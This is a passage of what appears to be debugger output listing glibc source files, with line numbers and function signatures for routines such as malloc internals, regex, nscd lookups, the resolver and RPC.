35: int lockf(int, int, off_t);

File lrand48.c:
23: long lrand48(void);

File lrand48_r.c:
22: int __GI_lrand48_r(struct drand48_data *, long *);

File lsearch.c:
44: void *__GI_lfind(const void *, const void *, size_t *, size_t, __compar_fn_t);
25: void *lsearch(const void *, void *, size_t *, size_t, __compar_fn_t);

File makedev.c:
28: unsigned int __gnu_dev_major(__dev_t);
34: __dev_t __gnu_dev_makedev(unsigned int, unsigned int);
31: unsigned int __gnu_dev_minor(__dev_t);

File malloc.c:
3095: void __GI___libc_free(void *);
3037: void *__GI___libc_malloc(size_t);
5148: int __GI___libc_mallopt(int, int);
3263: void *__GI___libc_memalign(size_t, size_t);
3139: void *__GI___libc_realloc(void *, size_t);
3375: void *__libc_calloc(size_t, size_t);
4954: struct mallinfo __libc_mallinfo(void);
3355: void *__libc_pvalloc(size_t);
3344: void *__libc_valloc(size_t);
5394: int __malloc_info(FILE *, int);
4982: void __malloc_stats(void);
4829: int __malloc_trim(size_t);
4881: size_t __malloc_usable_size(void *);
5367: int __posix_memalign(void **, size_t, size_t);
289: static void __malloc_assert(const char *, const char *, unsigned int, const char *);
4168: static void _int_free(mstate, mchunkptr, int);
3530: static void *_int_malloc(mstate, size_t);
4670: static void *_int_memalign(mstate, size_t, size_t);
4552: static void *_int_realloc(mstate, mchunkptr, size_t, size_t);
3270: static void *_mid_memalign(size_t, size_t, void *);
4895: static void int_mallinfo(mstate, struct mallinfo *);
4454: static void malloc_consolidate(mstate);
1799: static void malloc_init_state(mstate);
5359: static void malloc_printerr(const char *);
2854: static mchunkptr mremap_chunk(mchunkptr, size_t);
2818: static void munmap_chunk(mchunkptr);
2264: static void *sysmalloc(size_t, mstate);
2751: static int systrim(size_t, mstate, mstate);
2987: static void tcache_init(void);
1461: static void unlink_chunk(mchunkptr, mstate);

File mb_cur_max.c:
29: size_t __ctype_get_mb_cur_max(void);

File mblen.c:
33: int mblen(const char *, size_t);

File mbrlen.c:
27: size_t __GI___mbrlen(const char *, size_t, mbstate_t *);

File mbrtoc16.c:
37: size_t mbrtoc16(char16_t *, const char *, size_t, mbstate_t *);

File mbrtoc32.c:
27: size_t mbrtoc32(char32_t *, const char *, size_t, mbstate_t *);

File mbrtowc.c:
36: size_t __GI___mbrtowc(wchar_t *, const char *, size_t, mbstate_t *);

File mbsinit.c:
34: int __mbsinit(const mbstate_t *);

File mbsnrtowcs.c:
41: size_t __mbsnrtowcs(wchar_t *, const char **, size_t, size_t, mbstate_t *);

File mbsnrtowcs_chk.c:
23: size_t __mbsnrtowcs_chk(wchar_t *, const char **, size_t, size_t, mbstate_t *, size_t);

File mbsrtowcs.c:
27: size_t __mbsrtowcs(wchar_t *, const char **, size_t, mbstate_t *);

File mbsrtowcs_chk.c:
23: size_t __mbsrtowcs_chk(wchar_t *, const char **, size_t, mbstate_t *, size_t);

File mbsrtowcs_l.c:
40: size_t __mbsrtowcs_l(wchar_t *, const char **, size_t, mbstate_t *, locale_t);

File mbstowcs.c:
27: size_t mbstowcs(wchar_t *, const char *, size_t);

File mbstowcs_chk.c:
24: size_t __mbstowcs_chk(wchar_t *, const char *, size_t, size_t);

File mbtowc.c:
34: int mbtowc(wchar_t *, const char *, size_t);

File mcheck.c:
373: int __GI_mcheck(void (*)(enum mcheck_status));
118: void __GI_mcheck_check_all(void);
404: int mcheck_pedantic(void (*)(enum mcheck_status));
413: enum mcheck_status mprobe(void *);
82: static enum mcheck_status checkhdr(const struct hdr *);
177: static void freehook(void *, const void *);
338: static void mabort(enum mcheck_status);
201: static void *mallochook(size_t, const void *);
234: static void *memalignhook(size_t, size_t, const void *);
273: static void *reallochook(void *, size_t, const void *);

File mcount.c:
59: void __mcount_internal(u_long, u_long);

File memccpy.c:
31: void *__memccpy(void *, const void *, int, size_t);

File memfrob.c:
21: void *memfrob(void *, size_t);

File memmem.c:
53: void *__GI___memmem(const void *, size_t, const void *, size_t);

File memstream.c:
64: FILE *__GI___open_memstream(char **, size_t *);
127: static void _IO_mem_finish(FILE *, int);
109: static int _IO_mem_sync(FILE *);

File mkdtemp.c:
27: char *mkdtemp(char *);

File mkostemp.c:
31: int mkostemp(char *, int);

File mkostemps.c:
32: int mkostemps(char *, int, int);

File mkstemp.c:
31: int mkstemp(char *);

File mkstemps.c:
32: int mkstemps(char *, int);

File mktemp.c:
25: char *__mktemp(char *);

File mktime.c:
525: time_t __GI_mktime(struct tm *);
322: time_t __mktime_internal(struct tm *, struct tm *(*)(const time_t *, struct tm *), mktime_offset_t *);
271: static struct tm *ranged_convert(struct tm *(*)(const time_t *, struct tm *), long_int *, struct tm *);
206: static long_int ydhms_diff(long_int, long_int, int, int, int, int, int, int, int, int);

File mntent.c:
40: struct mntent *getmntent(FILE *);
33: static void allocate(void);

File mntent_r.c:
57: int __GI___endmntent(FILE *);
120: struct mntent *__GI___getmntent_r(FILE *, struct mntent *, char *, int);
277: char *__GI___hasmntopt(const struct mntent *, const char *);
36: FILE *__GI___setmntent(const char *, const char *);
250: int __addmntent(FILE *, const struct mntent *);
72: static char *decode_name(char *);

File mod_1.c:
40: mp_limb_t __mpn_mod_1(mp_srcptr, mp_size_t, mp_limb_t);

File morecore.c:
45: void *__GI___default_morecore(ptrdiff_t);

File mrand48.c:
23: long mrand48(void);

File mrand48_r.c:
22: int mrand48_r(struct drand48_data *, long *);

File msort.c:
165: void __GI___qsort_r(void *, size_t, size_t, __compar_d_fn_t, void *);
306: void __GI_qsort(void *, size_t, size_t, __compar_fn_t);
40: static void msort_with_tmp(const struct msort_param *, void *, size_t);

File mtrace.c:
72: void __GI_tr_break(void);
305: void mtrace(void);
354: void muntrace(void);
112: static Dl_info *lock_and_info(const void *, Dl_info *);
290: static void release_libc_mem(void);
160: static void tr_freehook(void *, const void *);
186: static void *tr_mallochook(size_t, const void *);
257: static void *tr_memalignhook(size_t, size_t, const void *);
213: static void *tr_reallochook(void *, size_t, const void *);
78: static void tr_where(const void *, Dl_info *);

File mul.c:
45: mp_limb_t __mpn_mul(mp_ptr, mp_srcptr, mp_size_t, mp_srcptr, mp_size_t);

File mul_n.c:
95: void __mpn_impn_mul_n(mp_ptr, mp_srcptr, mp_srcptr, mp_size_t, mp_ptr);
52: void __mpn_impn_mul_n_basecase(mp_ptr, mp_srcptr, mp_srcptr, mp_size_t);
248: void __mpn_impn_sqr_n(mp_ptr, mp_srcptr, mp_size_t, mp_ptr);
205: void __mpn_impn_sqr_n_basecase(mp_ptr, mp_srcptr, mp_size_t);
329: void __mpn_mul_n(mp_ptr, mp_srcptr, mp_srcptr, mp_size_t);

File netname.c:
126: int __GI_getnetname(char *);
61: int __GI_host2netname(char *, const char *, const char *);
192: int __GI_netname2host(const char *, char *, const int);
145: int __GI_netname2user(const char *, uid_t *, gid_t *, int *, gid_t *);
32: int __GI_user2netname(char *, const uid_t, const char *);

File newlocale.c:
43: locale_t __newlocale(int, const char *, locale_t);

File ngettext.c:
55: char *__ngettext(const char *, const char *, unsigned long);

File nl_langinfo.c:
29: char *__GI_nl_langinfo(nl_item);

File nl_langinfo_l.c:
30: char *__GI___nl_langinfo_l(nl_item, locale_t);

File noophooks.c:
23: void __cyg_profile_func_enter(void *, void *);

File nrand48.c:
23: long nrand48(unsigned short *);

File nrand48_r.c:
22: int __nrand48_r(unsigned short *, struct drand48_data *, long *);

File nsap_addr.c:
35: u_int inet_nsap_addr(const char *, u_char *, int);
66: char *inet_nsap_ntoa(int, const u_char *, char *);

File nscd_getai.c:
43: int __nscd_getai(const char *, struct nscd_ai_result **, int *);

File nscd_getgr_r.c:
56: int __nscd_getgrgid_r(gid_t, struct group *, char *, size_t, struct group **);
47: int __nscd_getgrnam_r(const char *, struct group *, char *, size_t, struct group **);
72: static void gr_map_free(void);
84: static int nscd_getgr_r(const char *, size_t, request_type, struct group *, char *, size_t, struct group **);

File nscd_gethst_r.c:
101: uint32_t __nscd_get_nl_timestamp(void);
67: int __nscd_gethostbyaddr_r(const void *, socklen_t, int, struct hostent *, char *, size_t, struct hostent **, int *);
53: int __nscd_gethostbyname2_r(const char *, int, struct hostent *, char *, size_t, struct hostent **, int *);
39: int __nscd_gethostbyname_r(const char *, struct hostent *, char *, size_t, struct hostent **, int *);
89: static void hst_map_free(void);
138: static int nscd_gethst_r(const char *, size_t, request_type, struct hostent *, char *, size_t, struct hostent **, int *);

File nscd_getpw_r.c:
44: int __nscd_getpwnam_r(const char *, struct passwd *, char *, size_t, struct passwd **);
55: int __nscd_getpwuid_r(uid_t, struct passwd *, char *, size_t, struct passwd **);
83: static int nscd_getpw_r(const char *, size_t, request_type, struct passwd *, char *, size_t, struct passwd **);
71: static void pw_map_free(void);

File nscd_getserv_r.c:
39: int __nscd_getservbyname_r(const char *, const char *, struct servent *, char *, size_t, struct servent **);
49: int __nscd_getservbyport_r(int, const char *, struct servent *, char *, size_t, struct servent **);
78: static int nscd_getserv_r(const char *, size_t, const char *, request_type, struct servent *, char *, size_t, struct servent **);
66: static void serv_map_free(void);

File nscd_helper.c:
450: struct datahead *__nscd_cache_search(request_type, const char *, size_t, const struct mapped_database *, size_t);
400: struct mapped_database *__nscd_get_map_ref(request_type, const char *, volatile struct locked_map_ptr *, int *);
257: struct mapped_database *__nscd_get_mapping(request_type, const char *, struct mapped_database **);
534: int __nscd_open_socket(const char *, size_t, request_type, void *, size_t);
246: void __nscd_unmap(struct mapped_database *);
83: ssize_t __readall(int, void *, size_t);
109: ssize_t __readvall(int, const struct iovec *, int);
165: static int open_socket(request_type, const char *, size_t);
51: static int wait_on_socket(int, long);

File nscd_initgroups.c:
36: int __nscd_getgrouplist(const char *, gid_t, long *, gid_t **, long);

File nscd_netgroup.c:
166: int __nscd_innetgr(const char *, const char *, const char *, const char *);
47: int __nscd_setnetgrent(const char *, struct __netgrent *);
35: static void pw_map_free(void);

File nss_hash.c:
32: uint32_t __GI___nss_hash(const void *, size_t);

File nsswitch.c:
118: int __GI___nss_database_lookup(const char *, const char *, const char *, service_user **);
195: int __GI___nss_lookup(service_user **, const char *, const char *, void **);
422: void *__GI___nss_lookup_function(service_user *, const char *);
222: int __GI___nss_next2(service_user **, const char *, const char *, void **, int, int);
274: int __nss_configure_lookup(const char *, const char *);
860: void __nss_disable_nscd(void (*)(size_t, struct traced_file *));
266: int __nss_next(service_user **, const char *, void **, int, int);
884: static void free_database_entries(name_database_entry *);
908: static void free_defconfig(void);
922: static void free_mem(void);
328: static int known_compare(const void *, const void *);
845: static void nss_load_all_libraries(const char *, const char *);
338: static int nss_load_library(service_user *);
628: static service_user *nss_parse_service_list(const char *);

File obprintf.c:
186: int __obstack_printf(struct obstack *, const char *, …);
179: int __obstack_vprintf(struct obstack *, const char *, struct __va_list_tag *);
120: int __obstack_vprintf_internal(struct obstack *, const char *, struct __va_list_tag *, unsigned int);
40: static int _IO_obstack_overflow(FILE *, int);
63: static size_t _IO_obstack_xsputn(FILE *, const void *, size_t);

File obprintf_chk.c:
25: int __obstack_printf_chk(struct obstack *, int, const char *, …);

File obstack.c:
245: void __GI__obstack_newchunk(struct obstack *, int);
322: int _obstack_allocated_p(struct obstack *, void *);
144: int _obstack_begin(struct obstack *, int, int, void *(*)(long), void (*)(void *));
191: int _obstack_begin_1(struct obstack *, int, int, void *(*)(void *, long), void (*)(void *, void *), void *);
381: int _obstack_memory_used(struct obstack *);
345: void obstack_free(struct obstack *, void *);
408: static void print_and_abort(void);

File offtime.c:
29: int __offtime(__time_t, long, struct tm *);

File oldfmemopen.c:
202: FILE *__old_fmemopen(void *, size_t, const char *);
187: static int fmemopen_close(void *);
94: static ssize_t fmemopen_read(void *, char *, size_t);
152: static int fmemopen_seek(void *, off64_t *, int);
118: static ssize_t fmemopen_write(void *, const char *, size_t);

File on_exit.c:
25: int __on_exit(void (*)(int, void *), void *);

File open64_2.c:
23: int __open64_2(const char *, int);

File open_2.c:
23: int __open_2(const char *, int);

File open_catalog.c:
39: int __GI___open_catalog(const char *, const char *, const char *, __nl_catd);

File openat64_2.c:
23: int __openat64_2(int, const char *, int);

File openat_2.c:
23: int __openat_2(int, const char *, int);

File openchild.c:
52: int _openchild(const char *, FILE **, FILE **);

File pclose.c:
36: int __new_pclose(FILE *);

File peekc.c:
33: int _IO_peekc_locked(FILE *);

File perror.c:
47: void __GI_perror(const char *);
26: static void perror_internal(FILE *, const char *, int);

File plural-exp.c:
97: void __gettext_extract_plural(const char *, const struct expression **, unsigned long *);

File plural.y:
210: void __gettext_free_exp(struct expression *);
63: static struct expression *new_exp(int, enum expression_operator, struct expression * const *);

File pm_getmaps.c:
55: struct pmaplist *__GI_pmap_getmaps(struct sockaddr_in *);

File pm_getport.c:
84: u_short __GI___libc_rpc_getport(struct sockaddr_in *, u_long, u_long, u_int, time_t, time_t);
149: u_short __GI_pmap_getport(struct sockaddr_in *, u_long, u_long, u_int);
49: int __get_socket(struct sockaddr_in *);

File pmap_clnt.c:
106: bool_t __GI_pmap_set(u_long, u_long, int, u_short);
142: bool_t __GI_pmap_unset(u_long, u_long);
56: static bool_t __get_myaddress(struct sockaddr_in *);

File pmap_prot.c:
42: bool_t __GI_xdr_pmap(XDR *, struct pmap *);

File pmap_prot2.c:
80: bool_t __GI_xdr_pmaplist(XDR *, struct pmaplist **);

File pmap_rmt.c:
199: enum clnt_stat __GI_clnt_broadcast(u_long, u_long, u_long, xdrproc_t, caddr_t, xdrproc_t, caddr_t, resultproc_t);
68: enum clnt_stat __GI_pmap_rmtcall(struct sockaddr_in *, u_long, u_long, u_long, xdrproc_t, caddr_t, xdrproc_t, caddr_t, struct timeval, u_long *);
112: bool_t __GI_xdr_rmtcall_args(XDR *, struct rmtcallargs *);
144: bool_t __GI_xdr_rmtcallres(XDR *, struct rmtcallres *);

File poll_chk.c:
22: int __poll_chk(struct pollfd *, nfds_t, int, unsigned long);

File ppoll_chk.c:
22: int __ppoll_chk(struct pollfd *, nfds_t, const struct timespec *, const __sigset_t *, unsigned long);

File pread64_chk.c:
23: ssize_t __pread64_chk(int, void *, size_t, off64_t, size_t);

File pread_chk.c:
23: ssize_t __pread_chk(int, void *, size_t, off_t, size_t);

File printf-parse.h:
71: static int read_int(const unsigned char **);

File printf-parsemb.c:
61: size_t __parse_one_specmb(const unsigned char *, size_t, struct printf_spec *, size_t *);
58: size_t __parse_one_specwc(const unsigned int *, size_t, struct printf_spec *, size_t *);

File printf-prs.c:
59: size_t parse_printf_format(const char *, size_t, int *);

File printf.c:
27: int __printf(const char *, …);

File printf_chk.c:
24: int ___printf_chk(int, const char *, …);

File printf_fp.c:
205: int __GI___printf_fp_l(FILE *, locale_t, const struct printf_info *, const void * const *);
1264: int ___printf_fp(FILE *, const struct printf_info *, const void * const *);
1277: unsigned int __guess_grouping(unsigned int, const char *);
161: static wchar_t hack_digit(struct hack_digit_param *);

File printf_size.c:
82: int __printf_size(FILE *, const struct printf_info *, const void * const *);
223: int printf_size_info(const struct printf_info *, size_t, int *);

File psiginfo.c:
61: void psiginfo(const siginfo_t *, const char *);

File psignal.c:
28: void psignal(int, const char *);

File pthread_self.c:
23: pthread_t pthread_self(void);

File ptsname_r_chk.c:
22: int __ptsname_r_chk(int, char *, size_t, size_t);

File publickey.c:
35: int __GI_getpublickey(const char *, char *);
78: int __GI_getsecretkey(const char *, char *, const char *);

File putc.c:
24: int __GI__IO_putc(int, FILE *);

File putc_u.c:
24: int __putc_unlocked(int, FILE *);

File putchar.c:
24: int putchar(int);

File putchar_u.c:
24: int putchar_unlocked(int);

File putenv.c:
52: int putenv(char *);

File putgrent.c:
32: int putgrent(const struct group *, FILE *);

File putmsg.c:
22: int putmsg(int, const struct strbuf *, const struct strbuf *, int);

File putpwent.c:
30: int putpwent(const struct passwd *, FILE *);

File putsgent.c:
30: int putsgent(const struct sgrp *, FILE *);

File putspent.c:
32: int putspent(const struct spwd *, FILE *);

File pututxline.c:
23: struct utmpx *pututxline(const struct utmpx *);

File putw.c:
24: int putw(int, FILE *);

File putwc.c:
22: wint_t __GI_putwc(wchar_t, FILE *);

File putwc_u.c:
22: wint_t __GI_putwc_unlocked(wchar_t, FILE *);

File putwchar.c:
22: wint_t putwchar(wchar_t);

File putwchar_u.c:
22: wint_t putwchar_unlocked(wchar_t);

File qsort.c:
89: void _quicksort(void * const, size_t, size_t, __compar_d_fn_t, void *);

File quick_exit.c:
28: void __new_quick_exit(int);
42: void __old_quick_exit(int);

File rand.c:
25: int rand(void);

File rand_r.c:
26: int rand_r(unsigned int *);

File random.c:
230: char *__initstate(unsigned int, char *, size_t);
287: long __random(void);
257: char *__setstate(char *);
208: void __srandom(unsigned int);

File random_r.c:
230: int __initstate_r(unsigned int, char *, size_t, struct random_data *);
353: int __random_r(struct random_data *, int32_t *);
295: int __setstate_r(char *, struct random_data *);
161: int __srandom_r(unsigned int, struct random_data *);

File rcmd.c:
588: int __GI_iruserok_af(const void *, int, const char *, const char *, sa_family_t);
103: int __GI_rcmd_af(char **, u_short, const char *, const char *, const char *, int *, sa_family_t);
366: int __GI_rresvport_af(int *, sa_family_t);
435: int __GI_ruserok_af(const char *, int, const char *, const char *, sa_family_t);
635: int __ivaliduser(FILE *, uint32_t, const char *, const char *);
618: int iruserok(uint32_t, int, const char *, const char *);
359: int rcmd(char **, u_short, const char *, const char *, const char *, int *);
426: int rresvport(int *);
460: int ruserok(const char *, int, const char *, const char *);
745: static int __validuser2_sa(FILE *, struct sockaddr *, size_t, const char *, const char *, const char *);
468: static FILE *iruserfopen(const char *, uid_t);
521: static int ruserok2_sa(struct sockaddr *, size_t, int, const char *, const char *, const char *);

File read_chk.c:
27: ssize_t __read_chk(int, void *, size_t, size_t);

File readline.c:
90: ssize_t __GI___libc_readline_unlocked(FILE *, char *, size_t);

File readlink_chk.c:
27: ssize_t __readlink_chk(const char *, void *, size_t, size_t);

File readlinkat_chk.c:
23: ssize_t __readlinkat_chk(int, const char *, void *, size_t, size_t);

File reallocarray.c:
23: void *__GI___libc_reallocarray(void *, size_t, size_t);

File realpath_chk.c:
25: char *__realpath_chk(const char *, char *, size_t);

File recv_chk.c:
23: ssize_t __recv_chk(int, void *, size_t, size_t, int);

File recvfrom_chk.c:
23: ssize_t __recvfrom_chk(int, void *, size_t, size_t, int, __SOCKADDR_ARG, socklen_t *);

File reg-modifier.c:
102: int __handle_registered_modifier_mb(const unsigned char **, struct printf_info *);
145: int __handle_registered_modifier_wc(const unsigned int **, struct printf_info *);
42: int __register_printf_modifier(const wchar_t *);
186: static void free_mem(void);

File reg-printf.c:
42: int __GI___register_printf_specifier(int, printf_function *, printf_arginfo_size_function *);
82: int __register_printf_function(int, printf_function *, printf_arginfo_function *);

File reg-type.c:
35: int __register_printf_type(printf_va_arg_function *);

File regcomp.c:
461: int __GI___regcomp(regex_t * restrict, const char * restrict, int);
633: void __GI___regfree(regex_t *);
264: int __re_compile_fastmap(struct re_pattern_buffer *);
217: const char *__re_compile_pattern(const char *, size_t, struct re_pattern_buffer *);
254: reg_syntax_t __re_set_syntax(reg_syntax_t);
519: size_t __regerror(int, const regex_t * restrict, char * restrict, size_t);
668: char *re_comp(const char *);
3572: static reg_errcode_t build_charclass(unsigned char *, bitset_word_t *, Idx *, const char *, reg_syntax_t, re_charset_t *, re_charset_t *);
3654: static bin_tree_t *build_charclass_op(re_dfa_t *, unsigned char *, const char *, const char *, _Bool, reg_errcode_t *);
1697: static reg_errcode_t calc_eclosure_iter(re_node_set *, re_dfa_t *, Idx, _Bool);
1382: static reg_errcode_t calc_first(void *, bin_tree_t *);
1404: static reg_errcode_t calc_next(void *, bin_tree_t *);
3820: static bin_tree_t *create_token_tree(bin_tree_t *, bin_tree_t *, const re_token_t *, re_dfa_t *, re_dfa_t *);
1612: static Idx duplicate_node(re_dfa_t *, Idx, unsigned int);
1487: static reg_errcode_t duplicate_node_closure(re_dfa_t *, Idx, Idx, Idx, unsigned int);
3897: static bin_tree_t *duplicate_tree(const bin_tree_t *, re_dfa_t *);
3766: static Idx fetch_number(re_string_t *, re_token_t *, reg_syntax_t);
3789: static void free_charset(re_charset_t *);
583: static void free_dfa_content(re_dfa_t *);
713: static void free_mem(void);
3869: static void free_token(re_token_t *);
3884: static reg_errcode_t free_tree(void *, bin_tree_t *);
1344: static bin_tree_t *lower_subexp(reg_errcode_t *, regex_t *, bin_tree_t *);
1322: static reg_errcode_t lower_subexps(void *, bin_tree_t *);
3857: static reg_errcode_t mark_opt_subexp(void *, bin_tree_t *);
1291: static reg_errcode_t optimize_subexps(void *, bin_tree_t *);
3399: static reg_errcode_t parse_bracket_element(bracket_elem_t *, re_string_t *, re_token_t *, int, reg_syntax_t, _Bool, re_dfa_t *);
2206: static bin_tree_t *parse_branch(re_string_t *, regex_t *, re_token_t *, reg_syntax_t, Idx, reg_errcode_t *);
2251: static bin_tree_t *parse_expression(re_string_t *, regex_t *, re_token_t *, reg_syntax_t, Idx, reg_errcode_t *);
2157: static bin_tree_t *parse_reg_exp(re_string_t *, regex_t *, re_token_t *, reg_syntax_t, Idx, reg_errcode_t *);
1787: static int peek_token(re_token_t *, re_string_t *, reg_syntax_t);
2025: static int peek_token_bracket(re_token_t *, re_string_t *, reg_syntax_t);
1226: static reg_errcode_t postorder(bin_tree_t *, reg_errcode_t (*)(void *, bin_tree_t *), void *);
1258: static reg_errcode_t preorder(bin_tree_t *, reg_errcode_t (*)(void *, bin_tree_t *), void *);
295: static void re_compile_fastmap_iter(regex_t *, char *, const re_dfastate_t *, const re_dfastate_t *);
726: static reg_errcode_t re_compile_internal(regex_t *, const char *, size_t, reg_syntax_t);

File regex_internal.c:
538: static void build_upper_buffer(re_string_t *);
211: static void build_wcs_buffer(re_string_t *);
281: static reg_errcode_t build_wcs_upper_buffer(re_string_t *);
1607: static void free_state(re_dfastate_t *);
1483: static re_dfastate_t *re_acquire_state(reg_errcode_t *, const re_dfa_t *, const re_node_set *);
1531: static re_dfastate_t *re_acquire_state_context(reg_errcode_t *, const re_dfa_t *, const re_node_set *, unsigned int);
1409: static Idx re_dfa_add_node(re_dfa_t *, re_token_t);
1057: static reg_errcode_t re_node_set_add_intersect(re_node_set *, const re_node_set *, const re_node_set *);
1359: static _Bool re_node_set_compare(const re_node_set *, const re_node_set *);
1374: static Idx re_node_set_contains(Idx, const re_node_set *, const re_node_set *);
1032: static reg_errcode_t re_node_set_init_copy(re_node_set *, const re_node_set *);
1148: static reg_errcode_t re_node_set_init_union(re_node_set *, const re_node_set *, const re_node_set *);
1284: static _Bool re_node_set_insert(re_node_set *, Idx);
1336: static _Bool re_node_set_insert_last(re_node_set *, Idx);
1201: static reg_errcode_t re_node_set_merge(re_node_set *, const re_node_set *);
1395: static void re_node_set_remove_at(Idx, re_node_set *, re_node_set *);
927: static unsigned int re_string_context_at(const re_string_t *, Idx, int);
914: static void re_string_destruct(re_string_t *);
140: static reg_errcode_t re_string_realloc_buffers(re_string_t *, Idx);
578: static reg_errcode_t re_string_reconstruct(re_string_t *, Idx, int);
1572: static reg_errcode_t register_state(const re_dfa_t *, re_dfastate_t *, re_hashval_t);

File regex_internal.h:
816: static int re_string_char_size_at(const re_string_t *, Idx);

File regexec.c:
192: int __GI___regexec(const regex_t * restrict, const char * restrict, size_t, regmatch_t *, int);
235: int __compat_regexec(const regex_t * restrict, const char * restrict, size_t, regmatch_t *, int);
276: regoff_t __re_match(struct re_pattern_buffer *, const char *, Idx, Idx, struct re_registers *);
297: regoff_t __re_match_2(struct re_pattern_buffer *, const char *, Idx, const char *, Idx, Idx, struct re_registers *, Idx);
286: regoff_t __re_search(struct re_pattern_buffer *, const char *, Idx, Idx, regoff_t, struct re_registers *);
309: regoff_t __re_search_2(struct re_pattern_buffer *, const char *, Idx, const char *, Idx, Idx, regoff_t, struct re_registers *, Idx);
537: void __re_set_registers(struct re_pattern_buffer *, struct re_registers *, __re_size_t, regoff_t *, regoff_t *);
566: int re_exec(const char *);
3286: static _Bool build_trtable(const re_dfa_t *, re_dfastate_t *);
2855: static reg_errcode_t check_arrival(re_match_context_t *, state_array_t *, Idx, Idx, Idx, Idx, int);
3100: static reg_errcode_t check_arrival_expand_ecl(const re_dfa_t *, re_node_set *, Idx, int);
3153: static reg_errcode_t check_arrival_expand_ecl_sub(const re_dfa_t *, re_node_set *, Idx, Idx, int);
1868: static _Bool check_dst_limits(const re_match_context_t *, Idx, Idx, Idx, Idx, const re_node_set *, const re_node_set *);
1984: static int check_dst_limits_calc_pos(const re_match_context_t *, Idx, Idx, Idx, Idx, Idx);
1903: static int check_dst_limits_calc_pos_1(const re_match_context_t *, int, Idx, Idx, Idx);
1210: static Idx check_halt_state_context(const re_match_context_t *, Idx, const re_dfastate_t *, const re_dfastate_t *);
4008: static _Bool check_node_accept(const re_match_context_t *, const re_token_t *, Idx);
3719: static int check_node_accept_bytes(Idx, const re_string_t *, Idx, const re_dfa_t *, const re_dfa_t *);
2395: static reg_errcode_t check_subexp_matching_top(re_match_context_t *, Idx, re_node_set *, re_node_set *);
1693: static reg_errcode_t clean_state_log_if_needed(re_match_context_t *, Idx);
3198: static reg_errcode_t expand_bkref_cache(re_match_context_t *, re_node_set *, Idx, Idx, int);
4058: static reg_errcode_t extend_buffers(re_match_context_t *, int);
1487: static reg_errcode_t free_fail_stack_return(struct re_fail_stack_t *);
2805: static reg_errcode_t get_subexp_sub(re_match_context_t *, re_sub_match_last_t *, Idx, Idx, const re_sub_match_top_t *);
4158: static void match_ctx_clean(re_match_context_t *);
1718: static reg_errcode_t merge_state_array(const re_dfa_t *, re_dfastate_t **, re_dfastate_t **, Idx);
2287: static re_dfastate_t *merge_state_with_log(reg_errcode_t *, re_match_context_t *, re_dfastate_t *);
1361: static Idx pop_fail_stack(Idx *, Idx, regmatch_t *, re_node_set *, struct re_fail_stack_t *, struct re_fail_stack_t *);
321: static regoff_t re_search_2_stub(struct re_pattern_buffer *, const char *, Idx, const char *, Idx, Idx, regoff_t, struct re_registers *, Idx, _Bool);
585: static reg_errcode_t re_search_internal(const regex_t *, const char *, Idx, Idx, Idx, Idx, size_t, regmatch_t *, int);
368: static regoff_t re_search_stub(struct re_pattern_buffer *, const char *, Idx, Idx, regoff_t, Idx, struct re_registers *, _Bool);
1381: static reg_errcode_t set_regs(const regex_t *, const re_match_context_t *, size_t, regmatch_t *, _Bool);
1574: static reg_errcode_t sift_states_backward(const re_match_context_t *, re_sift_context_t *);
1820: static reg_errcode_t sub_epsilon_src_nodes(const re_dfa_t *, Idx, re_node_set *, const re_node_set *);
2538: static reg_errcode_t transit_state_bkref(re_match_context_t *, const re_node_set *, const re_node_set *);
1744: static reg_errcode_t update_cur_sifted_state(const re_match_context_t *, re_sift_context_t *, Idx, re_node_set *);

File regexp.c:
73: int advance(const char *, const char *);
50: int step(const char *, const char *);

File register-atfork.c:
37: int __GI___register_atfork(void (*)(void), void (*)(void), void (*)(void), void *);
110: void __run_fork_handlers(enum __run_fork_handler_type, _Bool);
78: void __unregister_atfork(void *);
143: static void free_mem(void);

File res-close.c:
94: void __GI___res_iclose(res_state, _Bool);
122: void __GI___res_nclose(res_state);
130: void __res_thread_freeres(void);

File res-state.c:
23: struct __res_state *__GI___res_state(void);

File res_hconf.c:
323: void _res_hconf_init(void);
356: void _res_hconf_reorder_addrs(struct hostent *);
536: void _res_hconf_trim_domain(char *);
561: void _res_hconf_trim_domains(struct hostent *);
159: static const char *arg_bool(const char *, int, const char *, unsigned int);
103: static const char *arg_trimdomain_list(const char *, int, const char *);
268: static void do_init(void);

File res_init.c:
110: int __GI___res_ninit(res_state);
606: int __res_vinit(res_state, int);
553: struct resolv_conf *__resolv_conf_load(struct __res_state *);
631: static void res_setoptions(struct resolv_conf_parser *, const char *);

File res_libc.c:
46: int __res_init(void);

File res_randomid.c:
89: unsigned int __GI___res_randomid(void);

File resolv_conf.c:
381: struct resolv_conf *__resolv_conf_allocate(const struct resolv_conf *);
598: _Bool __resolv_conf_attach(struct __res_state *, struct resolv_conf *);
657: void __resolv_conf_detach(struct __res_state *);
358: struct resolv_conf *__resolv_conf_get(struct __res_state *);
124: struct resolv_conf *__resolv_conf_get_current(void);
370: void __resolv_conf_put(struct resolv_conf *);
116: static void conf_decrement(struct resolv_conf *);
579: static void decrement_at_index(struct resolv_conf_global *, size_t);
677: static void freeres(void);
89: static struct resolv_conf_global *get_locked_global(void);
262: static _Bool resolv_conf_matches(const struct __res_state *, const struct resolv_conf *);
244: static _Bool same_address(const struct sockaddr *, const struct sockaddr *);

File resolv_context.c:
193: struct resolv_context *__GI___resolv_context_get(void);
207: struct resolv_context *__GI___resolv_context_get_override(struct __res_state *);
200: struct resolv_context *__GI___resolv_context_get_preinit(void);
221: void __GI___resolv_context_put(struct resolv_context *);
241: void __resolv_context_freeres(void);
131: static struct resolv_context *context_alloc(struct __res_state *);
147: static void context_free(struct resolv_context *);
176: static struct resolv_context *context_get(_Bool);
158: static struct resolv_context *context_reuse(void);

File revoke.c:
23: int __revoke(const char *);

File rewind.c:
31: void __GI_rewind(FILE *);

File rewrite_field.c:
27: const char *__nss_rewrite_field(const char *, char **);

File rexec.c:
48: int __GI_rexec_af(char **, int, const char *, const char *, const char *, int *, sa_family_t);
194: int rexec(char **, int, const char *, const char *, const char *, int *);

File rpc_cmsg.c:
43: bool_t __GI_xdr_callmsg(XDR *, struct rpc_msg *);

File rpc_dtable.c:
41: int __GI__rpc_dtablesize(void);

File rpc_gethostbyname.c:
26: int __libc_rpc_gethostbyname(const char *, struct sockaddr_in *);

File rpc_prot.c:
232: void __GI__seterr_reply(struct rpc_msg *, struct rpc_err *);
78: bool_t __GI_xdr_accepted_reply(XDR *, struct accepted_reply *);
152: bool_t __GI_xdr_callhdr(XDR *, struct rpc_msg *);
66: bool_t __GI_xdr_des_block(XDR *, des_block *);
